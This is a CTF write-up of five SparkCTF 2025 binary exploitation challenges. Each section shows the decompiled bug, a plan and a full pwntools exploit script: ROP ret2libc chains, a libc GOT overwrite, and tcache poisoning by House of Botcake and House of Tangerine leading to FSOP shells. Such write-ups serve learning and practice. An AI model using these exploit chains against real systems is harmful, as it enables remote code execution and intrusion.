buddurid@CTF:~$ 

SparkCTF 2025 | PWN writeups

Categories: PWN libc heap botcake wilderness

brief solvers and explanations


The Notorious liB.I.C

__int64 quest()
{
  char v1[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("What you need to find out? > ");
  return gets(v1);
}

Description :

  • no PIE
  • we have pop rdi gadget
  • we can execute the quest above function

Plan :

  • typical ROP chain to execute this : Puts(puts) to get puts address in libc , so we can calculate the libc.address
  • restart
  • ROP chain to do this : system(“/bin/sh”)
  • gg

Solver:

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''

                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 5087"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host,port)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

############### main exploit    ###############
p.sendline("YES")

p.recvuntil("Now answer to prove you're down with the struggle: ")
rdi=0x0000000000400983
puts_plt=0x00000000004005f0
puts_got=0x601210
p.sendline(b"a"*0x40+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(exe.symbols["quest"]))
p.recvuntil("out? > \n")

leak=u64(p.recv(6).ljust(8,b"\x00"))
libc.address=leak-0x80970
log.info(hex(libc.address))
debug()

p.sendline(b"a"*0x40+p64(0x0000000000601000+0xe00)+p64(rdi)+p64(next(libc.search(b"/bin/sh\x00")))+p64(0x0000000000400913)+p64(libc.symbols["system"])+p64(exe.symbols["quest"]))

p.interactive()

www

unsigned __int64 vuln()
{
  char v1; // [rsp+Fh] [rbp-131h] BYREF
  _QWORD *v2; // [rsp+10h] [rbp-130h] BYREF
  __int64 v3; // [rsp+18h] [rbp-128h] BYREF
  _QWORD *v4; // [rsp+20h] [rbp-120h] BYREF
  _QWORD *v5; // [rsp+28h] [rbp-118h] BYREF
  unsigned __int64 v6; // [rsp+138h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  get_libc_range(&v4, &v5);
  if ( !v4 || !v5 )
  {
    puts("Failed to find libc range!");
    exit(1);
  }
  printf("Libc range: %p - %p\n", v4, v5);
  do
  {
    while ( 1 )
    {
      printf("where ? ");
      __isoc99_scanf("%lx", &v2);
      if ( v2 >= v4 && v2 < v5 )
        break;
      puts("Error: Address not in libc range!");
    }
    printf("what ? ");
    __isoc99_scanf("%lx", &v3);
    *v2 = v3;
    printf("Do you want to write again? (y/n): ");
    __isoc99_scanf(" %c", &v1);
  }
  while ( v1 == 121 );
  return v6 - __readfsqword(0x28u);
}

Description :

  • challenge gives us the libc mapping range
  • you can write a long to any address in the specified libc range (basically any writeable libc segment)
  • you can write an indefinite number of times (we will inly need one though)
  • we are given a ``win` function , binary has no PIE so we know its address

WHERE and WHAT to write :

  • when playing this challenge , i didnt see the win function at first so things got a little complicated for me xd . so i was looking for a full system(“/bin/sh”) chain , but we dont need that as we have a win function
  • having a win function , our target most probably should be a function pointer . somewhere in libc .
  • one target can be some *Libc Got Entry . just like normal binaries have Got entries that store the address of resolved functions , Libc also has Got entries that store some resolved functions , maybe from itself or some functions from the linker , that depends

Plan

  • first let’s verify that we can write in these GOT entries . Again , just like normal binaries , libc also can also have the Relro option when compiling . we can check it with checksec . and verify that it’s not full relro
  • what Got entry should we write , there are plenty of them , how to choose ? One solution can be to write in every one of them until somehow it gets called . A smarter way would be to disassemble some libc function and see which function aren’t getting called directly by that function . we can disassemble puts for example .
Dump of assembler code for function puts:
   0x00007ffff7c87bd0 <+0>:     endbr64
   0x00007ffff7c87bd4 <+4>:     push   rbp
   0x00007ffff7c87bd5 <+5>:     mov    rbp,rsp
   0x00007ffff7c87bd8 <+8>:     push   r15
   0x00007ffff7c87bda <+10>:    push   r14
   0x00007ffff7c87bdc <+12>:    push   r13
   0x00007ffff7c87bde <+14>:    push   r12
   0x00007ffff7c87be0 <+16>:    mov    r12,rdi
   0x00007ffff7c87be3 <+19>:    push   rbx
   0x00007ffff7c87be4 <+20>:    sub    rsp,0x18
   0x00007ffff7c87be8 <+24>:    call   0x7ffff7c28500 <*ABS*+0xb4cb0@plt>
  • lets take a loog at that last call to 0x7ffff7c28500 .
Dump of assembler code for function *ABS*+0xb4cb0@plt:
   0x00007ffff7c28500 <+0>:     endbr64
   0x00007ffff7c28504 <+4>:     jmp    QWORD PTR [rip+0x1da70e]        # 0x7ffff7e02c18 <*ABS*@got.plt>
   0x00007ffff7c2850a <+10>:    nop    WORD PTR [rax+rax*1+0x0]
End of assembler dump.
  • looks like it’s a standart plt function that calls out a GOT entry . just like that we found our target
  • we can write our win address at 0x7ffff7e02c18 <ABS@got.plt>

Solver

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        b* 0x00000000004014ba
                        c
                        b* _IO_wfile_overflow

                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./main")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 5515"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host,port)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

def write(where,what,restart=True):
        p.recvuntil("where ? ")
        p.sendline(hex(where)[2:])
        p.recvuntil("what ? ")
        p.sendline(hex(what)[2:])
        p.recvuntil("Do you want to write again? (y/n): ")
        if restart:
                p.sendline(" y")
        else:
                p.sendline(" n")

############### main exploit    ###############

p.recvuntil("Libc range: ")
libc.address=int(p.recv(14),16)


win=0x00000000004011e6
write(libc.address+0x21a098,win)

p.interactive()

retro

int vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Welcome to the Spark service!");
  printf(">> ");
  read(0, buf, 0x200uLL);
  return printf("You said: %s\n", buf);
}

Description :

  • obvious BOF
  • Pie is enabled , so we need leaks
  • we have pop rdi gadget
  • no win function

Plan

  • we only change the first byte of the return address , so we can both restart and leak the return address using the printf . the leaked address belong the the exeuctable .
  • after getting the PIE leak and restart , it becomes a typical puts(puts) into system(“/bin/sh”) just like the first challenge

Solver

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        b* vuln+103
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 6112"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host,port)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

############### main exploit    ###############


p.send(b"a"*0x108+p8(0x16))
p.recvuntil(b"a"*0x108)
exe.address=u64(p.recv(6).ljust(8,b"\x00"))-0x1216
log.info(hex(exe.address))

puts_plt=exe.address+0x0000000000001030
puts_got=exe.address+0x3fb8
rdi=exe.address+0x0000000000001226
p.send(b"a"*0x100+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(exe.symbols["main"]))
p.recvuntil(b"a"*0x100+b"\n")
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x87bd0
log.info(hex(libc.address))

#debug()
ret=exe.address+0x00000000000011d0
p.send(b"a"*0x100+p64(exe.address+0x4000+0xe00)+p64(ret)+p64(rdi)+p64(next(libc.search(b"/bin/sh")))+p64(libc.symbols["system"]))

p.interactive()

Roller

a heap challenge with these functionnalities :

  • allocate anything of size < 0x100
  • free with the pointer not being nulled out : Dangling pointer
  • show the contents of a chunk using printf : stops on null byte

Plan

  • we can free a chunk into tcache then read it with show() »> heap leak
  • we can free 7 chunks , they will fill tcache , if we free and 8th chunk it will be put into unsorted bin »> libc leak
  • the UAF vuln we have allows us to only free and show already freed chunks, show wont crush the program . but if we free the same chunk twice stupidly , the program will crush with double free exception . so how do we bypass that and try to get overlapping chunks ??

  • there is an attack known to this thing , that is called house of botcake . you dont need to understand the whole technique but just the part we need .
  • what this technique does is make use of these bugs/features xD :
    • when a chunk is put into unsorted bin (but is not the actual head of the chunk , meaning the chunk consolidated backwards with another chunk) , and when you try to free it again , there is a free spot in the tcache , it will not detect that it is already freed , and it will put into tcache .
  • we use the technique explained above . and we get this layout : unsorted bin chunk of size(0x1c0) , the second half this chunk is in the tcache freelist of size 0xe0
  • what we do allocate 0x100 (it will split the 0x1c0 chunk), that we the get a chunk that can modifie the contents of the second half
  • we modife the fd pointer of the tcache freelist so it points to our target that we want to overwrite. we shouldnt forget about safelinking when writing the pointer
  • i chose to overwrite stdout for RCE

Solver :

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        x/20gx &cigs
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 5322"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host,port)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

def alloc(index,size,payload):
        p.recvuntil("Enter your choice:")
        p.sendline("1")
        p.recvuntil("Enter the index: ")
        p.sendline(str(index).encode())
        p.recvuntil("How big is the cigarette ? ")
        p.sendline(str(size).encode())
        p.recvuntil("sing while rolling it:")
        p.send(payload)

def free(index):
        p.recvuntil("Enter your choice:")
        p.sendline("2")
        p.recvuntil("Enter the index: ")
        p.sendline(str(index).encode())

def show():
        p.recvuntil("Enter your choice:")
        p.sendline("3")
############### main exploit    ###############


for i in range(10):
        alloc(i,0xe8,b"aaa")
for i in range(7):
        free(i)

free(8)
free(7)

show()

p.recvuntil("[0] You sung: ")
heap=u64(p.recv(5).ljust(8,b"\x00")) << 12
log.info(hex(heap))

p.recvuntil("[7] You sung: ")
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x203b20
log.info(hex(libc.address))


for i in range(6):
        alloc(0x10,0xe8,p64(heap+0x390-0x68+8)+p64(libc.symbols["system"]))
free(8)

target=libc.symbols["_IO_2_1_stdout_"]
alloc(0x11,0x100,b"x"*0xe0+p64(0)+p64(0xf0)+p64(target^(heap>>12)))
#debug()
alloc(0x12,0xe8,p64(0))  # this

f=FileStructure(null=libc.address+0x2047a0)
stdout=libc.symbols["_IO_2_1_stdout_"]
l=0xe0
f.vtable=libc.symbols["_IO_wfile_jumps"]+0x18-0x38
f._wide_data=heap+0x390-0xe0
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00"))  0x68733bfbad2887
f.fileno=1
f.chain=libc.symbols["_IO_2_1_stdin_"]
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=0 #stdout+0x83
f._IO_write_base=stdout+0x83
f._IO_write_ptr=stdout+0x83
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
print(len(bytes(f)))


alloc(0x13,0xe8,bytes(f)) # stodut



p.interactive()

## SparkCTF{3b09b183c6218152a3f2e2fba0d8f570f271df71926fff48f17d90eb4b7fa529}

tajin

another heap challenge with the following menu :

  • allocate of whatever size
  • edit with fix read size 0x1000 : Heap overflow
  • show : prints contents of chunk

notes :

  • no free function despite being a heap challenge xD
  • very decent overflow which should make life easier

Plan :

  • its obvious by now that we need to trigger free and somehow end up corrupting tcache
  • our target in the heap that we can overwrite (other than the chunks themselves which are useless) is the top chunk that indicates how much of the heap is still left .
  • we can look up some attacks on this top chunk , one attack that looks like just what we need is house of tangerine

    • what this attack does is basically change the size of the wilderness (how much is left in the heap , supposedely) , into something small like 0x500 or something similar , but it needs to still be page aligned when you sum it with it’s address .
    • lets suppose we changed it to 0x500 , when we request to allocate something bigger , like 0x600 , malloc will think it ran out of memory , it s_brk another heap (dont matter for this attack) , and the 0x500 chunk that malloc thinks is left , instead of wasting (which can lead to fragmentation) , it frees it .
    • just like that we trigger free or controllable sizes of chunks
  • we do this attack 3 times (we can do it in 2 or even 1 ema taksir ras)

    1. first one to free a chunk of size 0x2e0 (7aja haka) , this will be put into tcache »> we can get a heap leak
    2. second one to free a chunk of size > 0x400 to be put into unsorted bin »> we get libc leak
    3. we free a chunk of same size in attack 1 to corrupt its tcache to our target
  • again i chose stdout FSOP for RCE

Solver :

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        x/20gx &array
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./main")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 4595"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host,port)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

def alloc(size,payload):
        p.recvuntil(">> ")
        p.sendline("1")
        p.recvuntil("Size: ")
        p.sendline(str(size).encode())
        p.recvuntil("Data: ")
        p.send(payload)

def edit(index,payload):
        p.recvuntil(">> ")
        p.sendline("2")
        p.recvuntil("Index: ")
        p.sendline(str(index).encode())
        p.recvuntil("Data: ")
        p.send(payload)
def show(index):
        p.recvuntil(">> ")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(index).encode())

############### main exploit    ###############

alloc(0xa00,b"a"*0xa00+p64(0)+p64(0x361))  # 0
alloc(0x500,b"cc")   #1
edit(0,b"a"*0xa10)

show(0)
p.recvuntil(b"a"*0xa10)
leak=u64(p.recv(5).ljust(8,b"\x00"))<<12
log.info(hex(leak))

### our available chunks are 0x361 in tcache

alloc(0x500,b"a"*0x500+p64(0)+p64(0x000000000005e1))  #2

alloc(0x600,b"22222")  #3


edit(2,b"a"*0x510)
show(2)
p.recvuntil(b"a"*0x510)
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x21ace0
log.info(hex(libc.address))

edit(2,b"a"*0x500+p64(0)+p64(0x5c1))
size=0x600+(0xe0-0x40-0x20)  # -0x20

#alloc(size,b"2"*size+p64(0)+p64(0x341))
alloc(size,b"2"*size+p64(0)+p64(0x361)) # 4


alloc(0x1000,b"9999") # to push

stdout=libc.symbols["_IO_2_1_stdout_"]

target=stdout
log.info(hex(target))
edit(4,b"2"*size+p64(0)+p64(0)+p64(target^((leak+0x43ca0)>>12)))

alloc(0x330,b"aaa")


f=FileStructure(null=libc.address+0x21b000+0x1000)
l=0xe0
f.vtable=libc.symbols["__GI__IO_wfile_jumps"]+0x18-0x38
f._wide_data=stdout+0xe0-0xe0
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00"))  0x68733bfbad2887
f.fileno=1
f.chain=libc.symbols["_IO_2_1_stdin_"]
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=0 #stdout+0x83
f._IO_write_base=stdout+0x83
f._IO_write_ptr=stdout+0x83
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
debug()

alloc(0x330,bytes(f)+p64(libc.address+0x21b860+8-0x68)+p64(libc.symbols["system"]))
p.interactive()
## SparkCTF{b27562cf8ef93a1663e16cc1128686ba03985d2284a13eec04cba69ad9034e39}